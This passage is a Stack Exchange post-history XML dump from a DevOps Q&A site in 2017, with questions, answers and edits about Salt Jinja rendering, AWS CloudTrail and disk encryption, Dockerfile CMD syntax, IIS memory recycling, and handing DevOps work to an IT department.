  <row Id="3877" PostHistoryTypeId="2" PostId="1156" RevisionGUID="b47d157f-6a5d-4085-a307-573e0d53d225" CreationDate="2017-05-12T20:28:18.777" UserId="339" Text="I have a templated `SLS` in Salt I'm trying to build, but it's emitting invalid syntax, which is resulting in errors such as:&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        - State 'system' in SLS 'network' is not formed as a list&#xD;&#xA;&#xD;&#xA;In principle, it should be possible to, *somehow* examine the output of the Jinja template before it attempts to parse the output as an `SLS` file. There exists a Python module for the Jinja renderer[`salt.renderers.jinja`](https://docs.saltstack.com/en/latest/ref/renderers/all/salt.renderers.jinja.html#module-salt.renderers.jinja), but if I attempt to execute it on the CLI, I get an error:&#xD;&#xA;&#xD;&#xA;    # salt my-minion-id salt.renderers.jinja.render /srv/salt/network/init.sls&#xD;&#xA;    my-minion-id:&#xD;&#xA;        'salt.renderers.jinja.render' is not available.&#xD;&#xA;    ERROR: Minions returned with non-zero exit code&#xD;&#xA;    # salt my-minion-id renderers.jinja.render /srv/salt/network/init.sls&#xD;&#xA;    my-minion-id:&#xD;&#xA;        'renderers.jinja.render' is not available.&#xD;&#xA;    ERROR: Minions returned with non-zero exit code&#xD;&#xA;&#xD;&#xA;How can I see the output of my template? It seems absurd it should be this difficult to debug." ContentLicense="CC BY-SA 3.0" />
  <row Id="3878" PostHistoryTypeId="1" PostId="1156" RevisionGUID="b47d157f-6a5d-4085-a307-573e0d53d225" CreationDate="2017-05-12T20:28:18.777" UserId="339" Text="How to examine Jinja output in Saltstack?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3879" PostHistoryTypeId="3" PostId="1156" RevisionGUID="b47d157f-6a5d-4085-a307-573e0d53d225" CreationDate="2017-05-12T20:28:18.777" UserId="339" Text="&lt;salt&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3880" PostHistoryTypeId="2" PostId="1157" RevisionGUID="814499dd-0a66-4459-84b8-b0eff89bf4e6" CreationDate="2017-05-12T20:51:29.143" UserId="339" Text="Given how much time I spent weeks ago struggling with a closely-related issue, I wish I'd figured this out sooner.&#xD;&#xA;&#xD;&#xA;The solution appears to be to use [`salt.modules.cp.get_file`](https://docs.saltstack.com/en/latest/ref/modules/all/salt.modules.cp.html#salt.modules.cp.get_file) to have the Salt minion retrieve the file, render it through the templating engine and place it in a readable place:&#xD;&#xA;&#xD;&#xA;    # salt my-minion-id cp.get_file salt://network/init.sls /root/network.sls template=jinja&#xD;&#xA;    my-minion-id:&#xD;&#xA;        /root/network.sls&#xD;&#xA;&#xD;&#xA;From there, you connect to the `my-minion-id` host and examine the file you placed at `/root/network.sls`.&#xD;&#xA;&#xD;&#xA;This makes sense; `salt.renderers.jinja` is in the `salt.renderers` namespace, while the modules you have access to from the CLI are in the `salt.modules` namespace.&#xD;&#xA;&#xD;&#xA;It also makes sense from a data visibility standpoint; template rendering happens on the _minion_, where grains and such are available, and I've yet to see a module that executes minion code return arbitrary output to the master (for view on the CLI, for example); the returned data is invariably well-structured and concise. (There may be such a module, but I don't know what it is. It would be a preferable solution to dropping test files onto a minion.)&#xD;&#xA;&#xD;&#xA;**edit:** This doesn't work. I thought the output looked correct, but it wasn't. It doesn't appear to be applying the template at all." ContentLicense="CC BY-SA 3.0" />
  <row Id="3881" PostHistoryTypeId="12" PostId="1157" RevisionGUID="0eaab3cb-dbf5-497e-9c0d-2dc62fe164e5" CreationDate="2017-05-12T20:55:50.603" UserId="339" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:339,&quot;DisplayName&quot;:&quot;Michael Mol&quot;}]}" />
  <row Id="3882" PostHistoryTypeId="5" PostId="1157" RevisionGUID="67a54a90-5cfc-4a6a-96de-d532d3d3893e" CreationDate="2017-05-12T21:00:30.350" UserId="339" Comment="Found problem, corrected answer." Text="Given how much time I spent weeks ago struggling with a closely-related issue, I wish I'd figured this out sooner.&#xD;&#xA;&#xD;&#xA;The solution appears to be to use [`salt.modules.cp.get_template`](https://docs.saltstack.com/en/latest/ref/modules/all/salt.modules.cp.html#salt.modules.cp.get_template) to have the Salt minion retrieve the file, render it through the templating engine and place it in a readable place:&#xD;&#xA;&#xD;&#xA;    # salt my-minion-id cp.get_template salt://network/init.sls /root/network.sls template=jinja&#xD;&#xA;    my-minion-id:&#xD;&#xA;        /root/network.sls&#xD;&#xA;&#xD;&#xA;From there, you connect to the `my-minion-id` host and examine the file you placed at `/root/network.sls`.&#xD;&#xA;&#xD;&#xA;This makes sense; `salt.renderers.jinja` is in the `salt.renderers` namespace, while the modules you have access to from the CLI are in the `salt.modules` namespace.&#xD;&#xA;&#xD;&#xA;It also makes sense from a data visibility standpoint; template rendering happens on the _minion_, where grains and such are available, and I've yet to see a module that executes minion code return arbitrary output to the master (for view on the CLI, for example); the returned data is invariably well-structured and concise. (There may be such a module, but I don't know what it is. It would be a preferable solution to dropping test files onto a minion.)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3883" PostHistoryTypeId="13" PostId="1157" RevisionGUID="b8aee492-ea59-43d3-af0a-13027a700018" CreationDate="2017-05-12T21:00:36.357" UserId="339" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:339,&quot;DisplayName&quot;:&quot;Michael Mol&quot;}]}" />
  <row Id="3889" PostHistoryTypeId="2" PostId="1159" RevisionGUID="b02fa663-6453-4305-9f86-d39dba2003e1" CreationDate="2017-05-14T12:12:10.200" UserId="2765" Text="You can try built-in tools that provide by AWS.&#xD;&#xA;&#xD;&#xA;AWS called them **Management Tools**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;**Amazon Inspector**&#xD;&#xA;&#xD;&#xA;Automated security assessment service to help improve&#xD;&#xA;the security and compliance of applications deployed on AWS.&#xD;&#xA;&#xD;&#xA;Amazon Inspector is an automated security assessment service that helps improve the security and compliance of applications deployed on AWS. Amazon Inspector automatically assesses applications for vulnerabilities or deviations from best practices. After performing an assessment, Amazon Inspector produces a detailed list of security findings prioritized by level of severity. These findings can be reviewed directly or as part of detailed assessment reports which are available via the Amazon Inspector console or API.&#xD;&#xA;&#xD;&#xA;[aws inspector][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Amazon Web Services (AWS) Monitoring With Nagios**&#xD;&#xA;&#xD;&#xA;Implementing effective Amazon Web Services monitoring with Nagios offers the following benefits:&#xD;&#xA;&#xD;&#xA;Increased server, services, and application availability&#xD;&#xA;Fast detection of network outages&#xD;&#xA;Fast detection of cloud computing environment problems&#xD;&#xA;&#xD;&#xA;[https://www.nagios.com][3]&#xD;&#xA;&#xD;&#xA;some other tools&#xD;&#xA;&#xD;&#xA;[https://www.scalr.com][4]&#xD;&#xA;&#xD;&#xA;[https://aws.amazon.com/products/management/][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/noDIT.png&#xD;&#xA;  [2]: https://aws.amazon.com/inspector/?nc2=h_m1&#xD;&#xA;  [3]: https://www.nagios.com&#xD;&#xA;  [4]: https://www.scalr.com&#xD;&#xA;  [5]: https://aws.amazon.com/products/management/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3890" PostHistoryTypeId="5" PostId="1159" RevisionGUID="df807b4f-5080-4cf4-b2f0-362b85f51c27" CreationDate="2017-05-14T13:05:17.333" UserId="14" Comment="Using other people's content without **clear** attribution is plagiarism. Please make sure you use blockquotes to clearly mark content you didn't write." Text="You can try built-in tools that provide by AWS.&#xD;&#xA;&#xD;&#xA;AWS calls them **Management Tools**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;**Amazon Inspector**&#xD;&#xA;&#xD;&#xA;&gt; ### Automated security assessment service to help improve the security and compliance of applications deployed on AWS.&#xD;&#xA;&#xD;&#xA;&gt; Amazon Inspector is an automated security assessment service that helps improve the security and compliance of applications deployed on AWS. Amazon Inspector automatically assesses applications for vulnerabilities or deviations from best practices. After performing an assessment, Amazon Inspector produces a detailed list of security findings prioritized by level of severity. These findings can be reviewed directly or as part of detailed assessment reports which are available via the Amazon Inspector console or API.&#xD;&#xA;&#xD;&#xA;&gt; [— AWS Inspector][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Amazon Web Services (AWS) Monitoring With Nagios**&#xD;&#xA;&#xD;&#xA;&gt; Implementing effective Amazon Web Services monitoring with Nagios&#xD;&#xA;&gt; offers the following benefits:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Increased server, services, and application availability Fast&#xD;&#xA;&gt; detection of network outages Fast detection of cloud computing&#xD;&#xA;&gt; environment problems&#xD;&#xA;&gt; &#xD;&#xA;&gt; [— Nagios][3]&#xD;&#xA;&#xD;&#xA;Some other tools:&#xD;&#xA;&#xD;&#xA;- [Scalr][4]&#xD;&#xA;&#xD;&#xA;- [Management Tools by AWS][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/noDIT.png&#xD;&#xA;  [2]: https://aws.amazon.com/inspector/?nc2=h_m1&#xD;&#xA;  [3]: https://www.nagios.com/solutions/aws-monitoring/&#xD;&#xA;  [4]: https://www.scalr.com&#xD;&#xA;  [5]: https://aws.amazon.com/products/management/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3891" PostHistoryTypeId="5" PostId="826" RevisionGUID="ee2cf740-e8bc-4bfc-91cb-b9ad5856c7d9" CreationDate="2017-05-14T13:37:57.247" UserId="743" Comment="added 202 characters in body" Text="We are less likely to see support of native docker-compose integration because pipelines API is a custom implementation of similar functionality, and also because possible security issues, but looks like more features are currently in development to implement more docker-compose-like features in [this][1] open issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/site/master/issues/12757/ability-to-run-multiple-docker-containers&#xD;&#xA;&#xD;&#xA;UPDATE: added support for multi-container pipelines, as described in [documentation][2]&#xD;&#xA;&#xD;&#xA;  [2]: https://confluence.atlassian.com/bitbucket/service-containers-for-bitbucket-pipelines-874786688.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3892" PostHistoryTypeId="2" PostId="1160" RevisionGUID="e5d638e4-6eb5-472c-b15f-adb04216e05d" CreationDate="2017-05-14T13:38:07.623" UserId="2729" Text="Is there a way to track changes we make to the AWS system?&#xD;&#xA;&#xD;&#xA;For example, changes to a subnet setting, from using *nat* to *iwg* - these display a message, and then disappear.&#xD;&#xA;&#xD;&#xA;Is there a way to get AWS to create a log so that one can track which changes were made to what and when? &#xD;&#xA;&#xD;&#xA;The closest thing we have now is the ElasticBeanstalk events - but even that only tells you what AWS did, not which settings were changed to cause the events." ContentLicense="CC BY-SA 3.0" />
  <row Id="3893" PostHistoryTypeId="1" PostId="1160" RevisionGUID="e5d638e4-6eb5-472c-b15f-adb04216e05d" CreationDate="2017-05-14T13:38:07.623" UserId="2729" Text="How to track changes to AWS settings?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3894" PostHistoryTypeId="3" PostId="1160" RevisionGUID="e5d638e4-6eb5-472c-b15f-adb04216e05d" CreationDate="2017-05-14T13:38:07.623" UserId="2729" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3895" PostHistoryTypeId="2" PostId="1161" RevisionGUID="56a2286b-7258-407b-b398-f7d36c47723d" CreationDate="2017-05-14T14:47:33.233" UserId="6" Text="AWS has the CloudTrail service that tracks most of the API calls done in your account. Then stores these in files in your specified S3 bucket. &#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/cloudtrail/&#xD;&#xA;&#xD;&#xA;Using CloudTrail you can see who, or which service, called which change - in many cases also including which arguments were used.&#xD;&#xA;&#xD;&#xA;Unfortunately it doesn't support ALL services at the moment." ContentLicense="CC BY-SA 3.0" />
  <row Id="3897" PostHistoryTypeId="2" PostId="1162" RevisionGUID="04aec173-3dcb-4fe8-9d52-2ad0044816a7" CreationDate="2017-05-14T16:41:35.030" UserId="210" Text="Why does `CMD [&quot;mysqld&quot;]` result in:&#xD;&#xA;&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.829163Z 0 [Note] mysqld (mysqld 5.7.18) starting as process 1 ...&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.833159Z 0 [Note] InnoDB: PUNCH HOLE support available&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.833190Z 0 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.833199Z 0 [Note] InnoDB: Uses event mutexes&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.833211Z 0 [Note] InnoDB: GCC builtin __atomic_thread_fence() is used for memory barrier&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.833222Z 0 [Note] InnoDB: Compressed tables use zlib 1.2.3&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.833232Z 0 [Note] InnoDB: Using Linux native AIO&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.833583Z 0 [Note] InnoDB: Number of pools: 1&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.833729Z 0 [Note] InnoDB: Using CPU crc32 instructions&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.835500Z 0 [Note] InnoDB: Initializing buffer pool, total size = 128M, instances = 1, chunk size = 128M&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.844395Z 0 [Note] InnoDB: Completed initialization of buffer pool&#xD;&#xA;    db_1   | 2017-05-14T16:34:11.846532Z 0 [Note] InnoDB: If the mysqld execution user is authorized, page cleaner thread priority can be changed. See the man page of setpriority().&#xD;&#xA;&#xD;&#xA;and `CMD mysqld` in:&#xD;&#xA;&#xD;&#xA;    db_1   | 2017-05-14T16:35:43.121085Z 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentation for more details).&#xD;&#xA;    db_1   | 2017-05-14T16:35:43.123152Z 0 [Note] mysqld (mysqld 5.7.18) starting as process 8 ...&#xD;&#xA;    db_1   | 2017-05-14T16:35:43.126844Z 0 [ERROR] Fatal error: Please read &quot;Security&quot; section of the manual to find out how to run mysqld as root!&#xD;&#xA;    db_1   | &#xD;&#xA;    db_1   | 2017-05-14T16:35:43.126882Z 0 [ERROR] Aborting&#xD;&#xA;    db_1   | &#xD;&#xA;    db_1   | 2017-05-14T16:35:43.126905Z 0 [Note] Binlog end&#xD;&#xA;    db_1   | 2017-05-14T16:35:43.127142Z 0 [Note] mysqld: Shutdown complete&#xD;&#xA;    db_1   | &#xD;&#xA;    strength_db_1 exited with code 1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3898" PostHistoryTypeId="1" PostId="1162" RevisionGUID="04aec173-3dcb-4fe8-9d52-2ad0044816a7" CreationDate="2017-05-14T16:41:35.030" UserId="210" Text="What is the difference between using brackets (`[` `]`) and just specifying the command in the CMD option in Dockerfiles?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3899" PostHistoryTypeId="3" PostId="1162" RevisionGUID="04aec173-3dcb-4fe8-9d52-2ad0044816a7" CreationDate="2017-05-14T16:41:35.030" UserId="210" Text="&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3900" PostHistoryTypeId="2" PostId="1163" RevisionGUID="d42c02c0-294a-4ca5-9b29-051d5961bda0" CreationDate="2017-05-14T22:05:35.780" UserId="2769" Text="CMD with brackets is contained within an array. Without brackets, the command is executed as &quot;/bin/sh -c mysqld&quot;.  Best practice afaik is to always use brackets. " ContentLicense="CC BY-SA 3.0" />
  <row Id="3901" PostHistoryTypeId="2" PostId="1164" RevisionGUID="549ae704-aaaa-4fec-8dbe-6dc0f59a4d5e" CreationDate="2017-05-15T08:19:04.590" UserId="2455" Text="Based on the comments to my question, and some basic testing the following seems to work:&#xD;&#xA;&#xD;&#xA;* Use nested parallel statements. (Thanks [@lawnmowerlatte][1]) &#xD;&#xA;* Although today (May 15th 2017) Jenkins Blue ocean does not visualise this properly. [Possible solutions discussed here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/362/lawnmowerlatte&#xD;&#xA;  [2]: https://issues.jenkins-ci.org/browse/JENKINS-38442" ContentLicense="CC BY-SA 3.0" />
  <row Id="3902" PostHistoryTypeId="2" PostId="1165" RevisionGUID="2a3e4400-d59d-4064-a2f9-6918869ce942" CreationDate="2017-05-15T08:45:32.863" UserId="80" Text="***It's not a good idea.***&#xD;&#xA;&#xD;&#xA;In my experience you'll gain the disadvantages of both while any projected advantages will somehow fail to materialize.&#xD;&#xA;&#xD;&#xA;Itemized:&#xD;&#xA;&#xD;&#xA; 1. You will loose speed.&lt;br&gt;&#xD;&#xA;IT will comply with their own standard. The new task (for them) will follow the same 'sluggish' template all their work now has. Be prepared they will find it challenging - so even less speed than standard simple actions.&#xD;&#xA; 2. You will fail to offload.&lt;br&gt;&#xD;&#xA;IT will lean of you guys for every single anomaly. You will put in effort to get one guy up to speed -  and the next thing you now you'll be repeating yourself because the following task/problem/day there will be a new guy, again.&#xD;&#xA; 3. Documentation will be required, but it will not help.&lt;br&gt;&#xD;&#xA;Again template behaviour will be that short manuals will fail to catch every anomaly, and thorough texts will not be read for being too long. So any investment here will be a loss, likewise the enormous effort needed to implement improvements to get your tools to 'shrink-wrapped'quality.&#xD;&#xA;&#xD;&#xA;Last but not least any problems will reflect on you guys. Tar, tarbrush principle.&#xD;&#xA;&#xD;&#xA;If the above sounds cynical, well, I'm afraid I've been there. Repeatedly.&#xD;&#xA;&#xD;&#xA;***What to do instead?***&#xD;&#xA;&#xD;&#xA;Go shopping in the IT department, find yourself a useful candidate, and keep this guy 'on loan' to relieve you workload.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3903" PostHistoryTypeId="5" PostId="1165" RevisionGUID="a1dbbd38-fb9e-4a33-a5a0-f82dbddbc0df" CreationDate="2017-05-15T08:50:33.747" UserId="80" Comment="typo corrected" Text="***It's not a good idea.***&#xD;&#xA;&#xD;&#xA;In my experience you'll gain the disadvantages of both while any projected advantages will somehow fail to materialize.&#xD;&#xA;&#xD;&#xA;Itemized:&#xD;&#xA;&#xD;&#xA; 1. You will loose speed.&lt;br&gt;&#xD;&#xA;IT will comply with their own standard. The new task (for them) will follow the same 'sluggish' template all their work now has. Be prepared they will find it challenging - so even less speed than standard simple actions.&#xD;&#xA; 2. You will fail to offload.&lt;br&gt;&#xD;&#xA;IT will lean on you guys for every single anomaly. You will put in effort to get one guy up to speed -  and the next thing you now you'll be repeating yourself because the following task/problem/day there will be a new guy, again.&#xD;&#xA; 3. Documentation will be required, but it will not help.&lt;br&gt;&#xD;&#xA;Again template behaviour will be that short manuals will fail to catch every anomaly, and thorough texts will not be read for being too long. So any investment here will be a loss, likewise the enormous effort needed to implement improvements to get your tools to 'shrink-wrapped'quality.&#xD;&#xA;&#xD;&#xA;Last but not least any problems will reflect on you guys. Tar, tarbrush principle.&#xD;&#xA;&#xD;&#xA;If the above sounds cynical, well, I'm afraid I've been there. Repeatedly.&#xD;&#xA;&#xD;&#xA;***What to do instead?***&#xD;&#xA;&#xD;&#xA;Go shopping in the IT department, find yourself a useful candidate, and keep this guy 'on loan' to relieve you workload.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3904" PostHistoryTypeId="5" PostId="1163" RevisionGUID="fca424ce-621e-4342-8b1c-d4888b186a84" CreationDate="2017-05-15T09:07:09.070" UserId="46" Comment="edited body" Text="CMD with brackets is contained within an array. Without brackets, the command is executed as `/bin/sh -c mysqld`.  Best practice afaik is to always use brackets. " ContentLicense="CC BY-SA 3.0" />
  <row Id="3905" PostHistoryTypeId="2" PostId="1166" RevisionGUID="d9f58248-fc18-41a7-8848-8ffad4dcd6ed" CreationDate="2017-05-15T10:02:18.817" UserId="2691" Text="I think have found out why this graph looks like this.&#xD;&#xA;&#xD;&#xA;I am also gathering metrics for the ASP.NET Applications / Errors Total performance counter, and I have noticed that exactly at the same time that a memory available surge happens, the Total Errors metric resets to 0.&#xD;&#xA;&#xD;&#xA;According to msdn this counter resets to 0 everytime an application restart/shutdown happens.&#xD;&#xA;&#xD;&#xA;This leads me to believe that the cause for this Memory Available sawtooth pattern is due to Application restarts happening.&#xD;&#xA;&#xD;&#xA;Here's how my charts look like:&#xD;&#xA;&#xD;&#xA;[![Errors Total ASP.NET Application][1]][1]&#xD;&#xA;[![Memory Surge][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/uQr2r.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/4lVpJ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="3907" PostHistoryTypeId="2" PostId="1167" RevisionGUID="47c2b3cd-7f50-46e3-91b7-18c0378f740b" CreationDate="2017-05-15T11:20:59.203" UserId="2729" Text="I would suggest that you adopt some of the IT team, and give them thorough training in the new system.&#xD;&#xA;&#xD;&#xA;Once they understand the system fully then it makes sense to offload it to them.&#xD;&#xA;&#xD;&#xA;Otherwise, you will become a Support Center for IT - and spend a lot of time firefighting as they learn the intricacies of the new system." ContentLicense="CC BY-SA 3.0" />
  <row Id="3908" PostHistoryTypeId="5" PostId="1166" RevisionGUID="13e58499-462a-44cd-afc6-4977bc580dfb" CreationDate="2017-05-15T12:43:39.960" UserId="2691" Comment="added 386 characters in body" Text="I think have found out why this graph looks like this.&#xD;&#xA;&#xD;&#xA;I am also gathering metrics for the ASP.NET Applications / Errors Total performance counter, and I have noticed that exactly at the same time that a memory available surge happens, the Total Errors metric resets to 0.&#xD;&#xA;&#xD;&#xA;According to msdn this counter resets to 0 everytime an application restart/shutdown happens.&#xD;&#xA;&#xD;&#xA;This leads me to believe that the cause for this Memory Available sawtooth pattern is due to Application restarts happening.&#xD;&#xA;&#xD;&#xA;Here's how my charts look like:&#xD;&#xA;&#xD;&#xA;[![Errors Total ASP.NET Application][1]][1]&#xD;&#xA;[![Memory Surge][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/uQr2r.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/4lVpJ.png&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;This happens because the Private Bytes of the W3WP process hit the limit for a recycle (We have a private bytes limit configured in the app pool). And looking closely to the Private Bytes chart, we can see something abnormal is happening because Memory usage leaps from 650MB to 3.2GB and a few hours later leaps from 3.6GB to 16.6GB! This is when the recycle happens." ContentLicense="CC BY-SA 3.0" />
  <row Id="3909" PostHistoryTypeId="5" PostId="1165" RevisionGUID="dcd36dc2-6f30-405e-8b96-0e90c6d03bfc" CreationDate="2017-05-15T15:13:11.267" UserId="14" Comment="deleted 1 character in body" Text="***It's not a good idea.***&#xD;&#xA;&#xD;&#xA;In my experience you'll gain the disadvantages of both while any projected advantages will somehow fail to materialize.&#xD;&#xA;&#xD;&#xA;Itemized:&#xD;&#xA;&#xD;&#xA; 1. You will lose speed.&lt;br&gt;&#xD;&#xA;IT will comply with their own standard. The new task (for them) will follow the same 'sluggish' template all their work now has. Be prepared they will find it challenging - so even less speed than standard simple actions.&#xD;&#xA; 2. You will fail to offload.&lt;br&gt;&#xD;&#xA;IT will lean on you guys for every single anomaly. You will put in effort to get one guy up to speed -  and the next thing you now you'll be repeating yourself because the following task/problem/day there will be a new guy, again.&#xD;&#xA; 3. Documentation will be required, but it will not help.&lt;br&gt;&#xD;&#xA;Again template behaviour will be that short manuals will fail to catch every anomaly, and thorough texts will not be read for being too long. So any investment here will be a loss, likewise the enormous effort needed to implement improvements to get your tools to 'shrink-wrapped'quality.&#xD;&#xA;&#xD;&#xA;Last but not least any problems will reflect on you guys. Tar, tarbrush principle.&#xD;&#xA;&#xD;&#xA;If the above sounds cynical, well, I'm afraid I've been there. Repeatedly.&#xD;&#xA;&#xD;&#xA;***What to do instead?***&#xD;&#xA;&#xD;&#xA;Go shopping in the IT department, find yourself a useful candidate, and keep this guy 'on loan' to relieve you workload.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3910" PostHistoryTypeId="5" PostId="1141" RevisionGUID="90e0880e-325d-45dd-9a50-70b2001fc899" CreationDate="2017-05-15T20:44:45.873" UserId="228" Comment="minor spelling improvements" Text="I'm trying to evaluate whether or not it is a good idea to move away from a devops-style workflow to the traditional dev-then-ops (not sure what you call that).&#xD;&#xA;&#xD;&#xA;We are a small 5 person department tucked away within a 4000 employee traditional media (eg non-digital) company.  Two years ago we began building software to allow our department to significantly scale up our production. We've been very successful and the greater company is beginning to take notice.  To date, we have been solely responsible for the design, development and deployment of what has become a ~10 service AWS microservice platform.  Our team doesn't identify as DevOps, but without question we are living the DevOps life, with each developer intimately familiar with both the code and the system it runs on.&#xD;&#xA;&#xD;&#xA;One of the upcoming questions we will face shortly is whether the deployment of our system should be handed over to the existing IT department for our parent company.  Not surprisingly, they have strong expertise in IT, but are unlikely to become involved in the development. I would say that we have a 70/30% split between coding and infrastructure.  &#xD;&#xA;&#xD;&#xA;Our project owner (a non-technical individual) is hoping that by handing off as much work as possible to the IT team we will see a ~1:1 boost in productivity for each hour of operations work that we shed. I'm skeptical about this though.  Our product is still pre-beta (though it's already a significant business asset) and in our limited experience with the IT department there are usually significant delays for things as simple as filesystem permission changes.&#xD;&#xA;&#xD;&#xA;Right now, my ideal solution would be for the IT department to &quot;adopt&quot; us and allow us to continue deploying our own work, while ensuring that we meet the standards &amp; requirements of the IT office.  I'm not sure how realistic that is though.  Plus it is nearly the opposite approach our project owner is advocating since it would add additional operations work in the short term.&#xD;&#xA;&#xD;&#xA;In our situation, what are the likely pros/cons of staying with DevOps approach vs handing off IT?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3911" PostHistoryTypeId="4" PostId="1141" RevisionGUID="90e0880e-325d-45dd-9a50-70b2001fc899" CreationDate="2017-05-15T20:44:45.873" UserId="228" Comment="minor spelling improvements" Text="Pros/cons of discontinuing a DevOps workflow?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3912" PostHistoryTypeId="2" PostId="1168" RevisionGUID="740b9bfa-2c1d-40cb-a457-9befe0118396" CreationDate="2017-05-15T21:01:10.543" UserId="228" Text="You can find many of the answers in the [result of DevOps survey][1] which you should ask the product owner to read. This is a document written specifically for business people with little technical knowledge talking in the terms he should understand.&#xD;&#xA;&#xD;&#xA;At average you will need 1 extra developer for every 4 people to keep same level of feature development (38% vs 49% time spent on new work).&#xD;&#xA;Your mean time to recover from failure will drop up to 25 times. Your work will be 20% less enjoyable and you will be 40% as likely to recommend your work to a friend. Just those three facts should be enough.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/2016-state-of-devops-report" ContentLicense="CC BY-SA 3.0" />
  <row Id="3914" PostHistoryTypeId="2" PostId="1169" RevisionGUID="fe5cf433-2c01-421d-96af-c9746e76d86d" CreationDate="2017-05-16T11:07:39.093" UserId="465" Text="An auditor is asking for proof that we've [encrypted all the disks][1] on our AWS EC2 VPC. I'd like a way to list all the disks and whether they're [encrypted][2] or not. &#xD;&#xA;&#xD;&#xA;I know I can build a report with the AWS [API][3] (or [the CLI][4]) - but I was looking for a simpler approach than that, hopefully with the [console][5]. &#xD;&#xA;&#xD;&#xA;My question is: **What is the simplest way to list which attached disks are encrypted (and which not) on AWS?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/whitepapers/encrypting-data-at-rest/&#xD;&#xA;  [2]: http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingEncryption.html&#xD;&#xA;  [3]: http://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeVolumes.html&#xD;&#xA;  [4]: http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-volumes.html&#xD;&#xA;  [5]: http://docs.aws.amazon.com/IAM/latest/UserGuide/console.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3915" PostHistoryTypeId="1" PostId="1169" RevisionGUID="fe5cf433-2c01-421d-96af-c9746e76d86d" CreationDate="2017-05-16T11:07:39.093" UserId="465" Text="What is the simplest way to list which attached disks are encrypted (and which not) on AWS?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3916" PostHistoryTypeId="3" PostId="1169" RevisionGUID="fe5cf433-2c01-421d-96af-c9746e76d86d" CreationDate="2017-05-16T11:07:39.093" UserId="465" Text="&lt;amazon-ec2&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3917" PostHistoryTypeId="2" PostId="1170" RevisionGUID="60827294-8eff-48f1-984d-9eb45921ca50" CreationDate="2017-05-16T11:15:23.063" UserId="270" Text="You can create Chef data bags in two ways - by loading it from a json file on your disk, or by creating a new data bag which you then write content into (the two commands in the [doc][1]).&#xD;&#xA;&#xD;&#xA;Encrypted data bags are stored on the server, and anyone who wants to read them (a workstation or node) needs to download and decrypt it with the secret key that you pass directly or from a file (see the command flags [here][2]).&#xD;&#xA;&#xD;&#xA;Once you have stored your content in data bags, you can access them in recipes by first loading and then decrypting them.&#xD;&#xA;&#xD;&#xA;`db = Chef::EncryptedDataBagItem.load(&quot;blah&quot;, &quot;something&quot;, secret)`&#xD;&#xA;&#xD;&#xA;This `db` will be a Ruby hash of key-value pairs from the data bag. To access the value of a key called `my_key` in this databag, you can then use `db['my_key']`.&#xD;&#xA;&#xD;&#xA;As always, read the docs for more details. Hope this helps!&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/data_bags.html#using-knife&#xD;&#xA;  [2]: 